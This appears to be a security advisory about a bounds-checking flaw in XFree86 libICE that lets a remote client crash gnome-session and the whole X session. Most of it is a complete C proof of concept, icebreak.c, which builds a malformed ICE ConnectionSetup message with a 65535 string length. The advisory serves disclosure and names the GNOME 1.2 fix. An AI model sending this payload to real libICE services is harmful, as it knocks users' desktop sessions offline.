COMMAND
libICE
SYSTEMS AFFECTED
XFree86: libICE
PROBLEM
Chris Evans found following. Due to inadequate bounds checking
in libICE, a denial of service exists with any application using
inet listening libICE for network services. Unfortunately, there
is a fairly prominent user of libICE, namely gnome-session. The
misfortune deepens when we realize that when gnome-session gets a
SIGSEGV, the entire X session tends to exit (after the user clicks
OK in the crash dialog).
libICE is, in general, pretty careful with untrusted network data.
However, there is a macro, SKIP_STRING, which is used to jump
over a string in the input stream. SKIP_STRING will read an
unsigned short variable from the network, and then jump forward in
the input buffer by that amount. A value of "65535", USHORT_MAX,
is adequate to leave a pointer dangling into oblivion and cause
SEGV due to read of unmapped memory.
1) There was always likely to be a bug in libICE; the protocol
suffers from the classic flaw of having a lot of chit-chat
before any authentication is attempted.
2) Chris has in no way performed a thorough audit of the code.
This was the first issue he encountered, then he stopped
looking. Anyone using libICE in a situation where security
matters, should be wary. There is potential for worse than
DoS.
3) Chris investiagted and discovered this because of GNOME. He
was pretty unimpressed to discoverer a desktop aimed at the
classic "end-user" listening on TCP sockets in the default
configuration. libICE is one half of the story, libORBit the
other half.
/* icebreak.c - Chris Evans */
#include <stdio.h>
#include <unistd.h>
#include <string.h>
int
main(int argc, const char* argv[])
{
unsigned char c;
unsigned int i;
unsigned short s;
char blankbuf[1000];
memset(blankbuf, '\0', sizeof(blankbuf));
/* Assume fd 1 is stdout */
/* ICE connection header */
/* First, pick an endian-ness */
/* Byte 1: Major opcode. Must be 0 */
c = 0;
write(1, &c, 1);
/* Byte 2: Minor opcode. Must be ICE_ByteOrder (1) */
c = 1;
write(1, &c, 1);
/* Byte 3: Byte-order. We'll go for IceLSBfirst (0) */
c = 0;
write(1, &c, 1);
/* Byte 4: Unused. Write 0 */
c = 0;
write(1, &c, 1);
/* Bytes 5-8: integer length. Must be zero for byte-order message. */
i = 0;
write(1, &i, 4);
/* Next message - ICE_ConnectionSetup */
/* Byte 1: Major opcode. 0 for core ICE protocol message */
c = 0;
write(1, &c, 1);
/* Byte 2: Minor opcode. ICE_ConnectionSetup (2) */
c = 2;
write(1, &c, 1);
/* Bytes 3, 4: versionCount & authCount */
c = 255;
write(1, &c, 1);
write(1, &c, 1);
/* Bytes 5-8, int length. Must be at least 8 */
i = 8;
write(1, &i, 4);
/* Now, bytes are part of iceConnectionSetupMsg */
/* This is an extra 8 bytes */
/* Byte 1: "must authenticate" */
c = 0;
write(1, &c, 1);
/* Bytes 2-8: unused */
write(1, blankbuf, 7);
/* Now we're writing into the malloc'ed message data space */
/* First, a string. Give it's 16bit length a big value to get ICE code
* to iterate off the end of the buffer
*/
s = 65535;
write(1, &s, 2);
/* And some blank to get the (total) 56 char data read finished */
write(1, blankbuf, 54);
}
SOLUTION
The GNOME team have released GNOME-1.2 which ensures that no
libICE services are exposed via TCP listening sockets. All the
libICE communication in GNOME-1.2 is done over user-private UNIX
domain sockets.